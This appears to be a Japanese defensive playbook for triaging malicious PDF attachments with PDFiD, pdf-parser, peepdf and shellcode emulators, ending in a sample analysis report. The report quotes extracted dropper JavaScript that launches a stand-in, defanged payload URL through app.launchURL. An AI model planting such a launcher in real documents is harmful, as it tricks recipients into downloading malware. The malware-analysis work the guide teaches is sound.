PDFiD を用いた PDF マルウェア解析 は何をしますか?
使用タイミング
- メールセキュリティが不審な PDF 添付ファイルをフラグした、またはユーザーから報告があった場合
- PDF に埋め込まれた JavaScript、シェルコード、悪用コードの有無を確認する必要がある場合
- サンドボックスや解析環境で開く前に PDF ドキュメントをトリアージする場合
- 悪意のある PDF オブジェクトから埋め込み実行ファイル、スクリプト、URL を抽出する場合
- Adobe Reader やその他の PDF ビューアの脆弱性を狙う PDF エクスプロイトキットを解析する場合
使用しない場合: PDF のレンダリングされた視覚コンテンツの解析には使用しません。これは PDF ファイル形式の構造解析を悪意のあるオブジェクトに対して行うためのものです。
前提条件
- Python 3.8 以上、Didier Stevens の PDF ツールがインストール済み (
pip install pdfid pdf-parser) - 対話的な PDF 解析のための peepdf がインストール済み (
pip install peepdf) - テキストコンテンツを安全に抽出するための poppler-utils に含まれる pdftotext
- マルウェアファミリー識別のための PDF 固有ルールを含む YARA
- PDF リーダーがインストールされていない隔離された解析 VM (誤って開くのを防ぐ)
- 埋め込まれた Base64、16進数、Deflate ストリームをデコードするための CyberChef
ワークフロー
ステップ 1: PDFiD による初期トリアージ
PDF をスキャンして不審なキーワードや構造を検出します:
# PDFiD を実行して不審な要素を特定
pdfid suspect.pdf
# 期待される出力の分析:
# /JS - JavaScript (高リスク)
# /JavaScript - JavaScript オブジェクト (高リスク)
# /AA - 開くときにトリガーされる自動アクション (高リスク)
# /OpenAction - ドキュメントを開いたときのアクション (高リスク)
# /Launch - 外部アプリケーションの起動 (高リスク)
# /EmbeddedFile - 埋め込みファイル (中リスク)
# /RichMedia - Flash コンテンツ (中リスク)
# /ObjStm - オブジェクトストリーム (難読化に使用)
# /URI - URL 参照 (文脈によるリスク)
# /AcroForm - インタラクティブフォーム (中リスク)
# 詳細情報を付けて実行
pdfid -e suspect.pdf
# 無害化 (不審なキーワードをリネーム) して実行
pdfid -d suspect.pdf
PDFiD リスク評価:
━━━━━━━━━━━━━━━━━━━━━
高リスク指標 (カウントが 1 以上):
/JS, /JavaScript -> 埋め込まれた JavaScript コード
/AA -> 自動アクション (ユーザー操作なしでトリガー)
/OpenAction -> ドキュメントが開かれたときにコードが実行
/Launch -> 外部実行ファイルを起動可能
/JBIG2Decode -> CVE-2009-0658 エクスプロイトに関連
中リスク指標:
/EmbeddedFile -> 埋め込みファイルを含む (EXE/DLL の可能性)
/RichMedia -> Flash/マルチメディア (Flash エクスプロイト)
/AcroForm -> 送信アクションの可能性があるフォーム
/XFA -> XML Forms Architecture (複雑な攻撃対象領域)
低リスク指標:
/ObjStm -> オブジェクトストリーム (難読化手法)
/URI -> 外部 URL 参照
/Page -> ページ数 (文脈のみ)
ステップ 2: pdf-parser による PDF 構造の解析
PDFiD で特定された不審なオブジェクトを詳しく調べます:
# JavaScript を参照するすべてのオブジェクトを一覧表示
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# OpenAction を持つすべてのオブジェクトを一覧表示
pdf-parser --search "/OpenAction" suspect.pdf
# 特定のオブジェクトを ID で抽出 (例: オブジェクト 5)
pdf-parser --object 5 suspect.pdf
# ストリームコンテンツを抽出して展開
pdf-parser --object 5 --filter --raw suspect.pdf
# 埋め込みファイルを検索
pdf-parser --search "/EmbeddedFile" suspect.pdf
# すべてのオブジェクトを種類別に一覧表示
pdf-parser --stats suspect.pdf
ステップ 3: 埋め込まれた JavaScript の抽出と解析
PDF オブジェクトから JavaScript コードを取り出します:
# pdf-parser を使用して JavaScript を抽出
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# 代替: peepdf を使用した対話的な JavaScript 抽出
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# peepdf の対話コマンド (JS 解析用):
# js_analyse - すべての JavaScript コードを抽出して表示
# js_beautify - 抽出した JavaScript を整形
# js_eval <object> - サンドボックス環境で JavaScript を評価
# object <id> - オブジェクトの内容を表示
# rawobject <id> - 生のオブジェクトバイトを表示
# stream <id> - 展開されたストリームを表示
# offsets - ファイル内のオブジェクトオフセットを表示
# 包括的な PDF JavaScript 抽出のための Python スクリプト
import subprocess
import re
# すべてのストリームを抽出し、JavaScript を検索
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# JavaScript 参照を含むオブジェクト ID を検索
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# JavaScript を含む各オブジェクトを抽出
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== オブジェクト {obj_id} ===")
print(result.stdout[:2000])
ステップ 4: 埋め込まれたシェルコードの解析
PDF エクスプロイトからシェルコードを抽出して調べます:
# シェルコード解析用に生のストリームデータを抽出
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# scdbg (シェルコードデバッガ) でシェルコードを解析
scdbg /f shellcode.bin
# 代替: Speakeasy を使用したシェルコードエミュレーション
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# シェルコードによる API 呼び出しを確認
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# CyberChef を使用して 16進数/Base64 エンコードされたシェルコードをデコード
# 入力: 抽出されたストリームデータ
# レシピ: From Hex -> Disassemble x86
ステップ 5: 埋め込みファイルと URL の抽出
埋め込まれた実行ファイルとリンクされたリソースを取り出します:
# PDF から埋め込みファイルを抽出
import subprocess
import hashlib
# 埋め込みファイルオブジェクトを検索
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# MZ ヘッダーを検索して埋め込み PE ファイルを抽出
with open("suspect.pdf", "rb") as f:
data = f.read()
# 埋め込み PE ファイルを検索
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# PE シグネチャを確認
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"埋め込み PE がオフセット 0x{pos:X} で見つかりました")
# 抽出 (サイズを推定、または PE ヘッダーを使用)
embedded = data[pos:pos+100000] # 初期抽出
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# PDF から URL を抽出
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>\"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
ステップ 6: 解析レポートの生成
PDF 解析からのすべての調査結果を文書化:
解析には以下を含める必要があります:
- PDFiD トリアージ結果 (不審なキーワードのカウント)
- PDF 構造の異常 (オブジェクトストリーム、相互参照の問題)
- 抽出された JavaScript コード (必要に応じて難読化解除)
- シェルコード解析結果 (API 呼び出し、ネットワークインジケータ)
- ハッシュとともに抽出された埋め込みファイル
- URL と外部参照
- 既知のエクスプロイトが検出された場合の CVE 識別
- 既知の PDF マルウェアファミリーに対する YARA ルールの一致
主要な概念
| 用語 | 定義 |
|---|---|
| PDF オブジェクト | PDF ファイルの基本構成要素。オブジェクトにはストリーム (圧縮データ)、辞書、配列、他のオブジェクトへの参照を含めることができる |
| OpenAction | ドキュメントが開かれたときに実行するアクションを指定する PDF 辞書エントリ。JavaScript エクスプロイトをトリガーするためによく使用される |
| PDF ストリーム | PDF オブジェクト内の圧縮データで、JavaScript、画像、埋め込みファイル、シェルコードを含むことができる。通常は FlateDecode で圧縮 |
| FlateDecode | PDF ストリームに適用される Zlib/deflate 圧縮フィルタ。内容を解析するには展開する必要がある |
| ObjStm (オブジェクトストリーム) | 複数のオブジェクトを単一の圧縮ストリーム内に格納する PDF 機能。単純なパーサーから不審なオブジェクトを隠すためにマルウェアによって使用される |
| JBIG2 | PDF における画像圧縮規格。エクスプロイトの歴史的な源泉 (CVE-2009-0658、CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | フォーム操作、ネットワークアクセス、OS との対話のために PDF 文書で利用可能な Adobe 固有の JavaScript 拡張機能 |
ツールとシステム
- PDFiD: Didier Stevens のツール。ドキュメント全体を解析せずに、PDF 文書内の不審なキーワードや構造をスキャンする
- pdf-parser: PDFiD のコンパニオンツール。詳細な PDF オブジェクト抽出、ストリーム展開、コンテンツ解析を行う
- peepdf: Python ベースの PDF 解析ツール。オブジェクト検査と JavaScript 抽出のための対話型シェルを提供
- QPDF: PDF 変換ツール。解析を容易にするために PDF の線形化、復号化、再構築を行う
- scdbg: シェルコード解析ツール。x86 シェルコードの実行をエミュレートし、API コールを記録する
一般的なシナリオ
シナリオ: JavaScript が埋め込まれたフィッシング PDF のトリアージ
状況: メールゲートウェイが、不審な JavaScript インジケータを含む PDF 添付ファイルをフラグしました。セキュリティチームは、これがエクスプロイトかソーシャルエンジニアリングリダイレクトかを判断する必要があります。
アプローチ:
- PDFiD を実行し、/JS、/JavaScript、/OpenAction の存在とカウントを確認
- pdf-parser を使用して OpenAction オブジェクトを抽出し、その参照チェーンを追跡
- 参照されたストリームオブジェクトから JavaScript コードを抽出 (FlateDecode フィルターを適用)
- JavaScript の難読化を解除 (16進文字列のデコード、eval チェーンの解決)
- スクリプトが PDF リーダーの脆弱性を悪用するか (ヒープスプレー、ROP チェーンを確認)、リダイレクトを実行するかを判断
- すべての URL、IP、埋め込みファイルを IOC として抽出
- サンプルを分類: エクスプロイト (特定の CVE) またはソーシャルエンジニアリング (リダイレクト/フィッシング)
落とし穴:
- コマンドラインツールで解析する代わりに、標準のリーダーで PDF を開く
- PDFiD が検出するが、単純なパーサーが見逃すオブジェクトストリーム (/ObjStm) 内に隠された JavaScript を見逃す
- 解析前にストリームを展開しない (FlateDecode、ASCIIHexDecode、ASCII85Decode フィルター)
- /JS がないことを JavaScript がないことと同義と見なす。コードはフォームフィールド (/AcroForm と /XFA) に埋め込むことができる
出力形式
PDF マルウェア解析レポート
==============================
ファイル: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
ファイルサイズ: 45,312 バイト
PDF バージョン: 1.7
PDFID トリアージ
/JS: 1 [高リスク]
/JavaScript: 1 [高リスク]
/OpenAction: 1 [高リスク]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [難読化]
不審なオブジェクト
オブジェクト 5: /OpenAction -> オブジェクト 8 を参照
オブジェクト 8: /JavaScript ストリーム (FlateDecode、展開後 2,847 バイト)
オブジェクト 12: オブジェクト 15~18 を含む /ObjStm
抽出された JavaScript
レイヤー 1: eval(unescape("%68%65%6C%6C%6F"))
レイヤー 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// ソーシャルエンジニアリングリダイレクト、エクスプロイトではない
抽出された IOC
URL: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
ドメイン: malicious[.]com、fake-login[.]com
分類
種類: ソーシャルエンジニアリング (URL リダイレクト)
CVE: なし (悪用コードは検出されませんでした)
リスク: 高 (実行可能ペイロードをダウンロード)
ファミリー: 汎用 PDF ドロッパー